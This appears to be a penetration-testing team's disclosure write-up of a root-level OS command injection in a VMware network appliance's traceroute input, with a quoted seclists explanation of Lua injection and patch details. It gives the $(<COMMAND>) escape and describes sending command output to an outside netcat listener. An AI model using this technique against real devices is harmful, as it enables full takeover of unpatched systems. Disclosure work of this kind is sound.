The team’s assumption here was that the user input would be passed to the underlying operating system as a command to perform a traceroute. Since many network appliances run on some sort of embedded Linux, we worked towards breaking this command using Linux-friendly escapes to inject malicious commands. Once the proper escape characters were identified $(<COMMAND>) the HTTP request was loaded into Burp Suite’s Repeater. Success.

Figure 2 – HTTP Request in Burp Suite Containing PoC Exploit

In the screenshot above you can see that the code is being injected just after the IP address. The code executes the Linux command “id” (which prints out information as the current user) and returns the output of the command to a server under our control via a netcat connection. On the receiving end, a netcat listener was opened prior to submitting the POST Request to catch the output.

Figure 3 – Output of ‘id’ Command Returned to a netcat Listener

From this output, we learned that commands were being executed as the user “root”. Perfect. This code is just a quick PoC to show that it was vulnerable and exploitable. Since these commands are running as root, the possibilities are endless, and a malicious actor would have complete control of the device at this point.

But Why Did This Work?

After investigating the code running on the device itself, we discovered that the utilities and scripts were written in the Lua language. Lua is a powerful language, useful for experienced programmers, but it is considered easy for less experienced programmers at the same time. While researching vulnerabilities and exploits for systems running things written in Lua we found a write-up on seclists.org with great examples that thoroughly explained the vulnerabilities and how to exploit them, including vulnerable code samples (Link: http://seclists.org/fulldisclosure/2014/May/128 ).

From the seclists write up:

“OS COMMAND INJECTION

OS command injection flaws (CWE-78) allow attackers to run arbitrary commands on the remote server. Because a command injection vulnerability may lead to compromise of the server hosting the web application, it is often considered a very serious flaw. In Lua, this kind of vulnerability occurs, for example, when a developer uses unvalidated user data to run operating system commands via the os.execute() or io.popen() Lua functions.”

In the example code following the description above, a reader can clearly see where the injection point exists at the os.execute Lua function.

Vulnerable code examples:

Reporting and Patching

VMware has released a patch to address this vulnerability. Remediation actions required for affected devices including updating to version 3.1.2. Details can be found in the VMware Security Advisory VMSA-2018-011.1.

CyberOne’s TEAMARES penetration testing team followed responsible disclosure procedure by submitting the vulnerability to VMware’s Security Response Center, and waiting for a patch to be released for the affected devices before publishing any information. The vulnerability was also disclosed independently to VMware by security researcher Brian Sullivan from Tevora.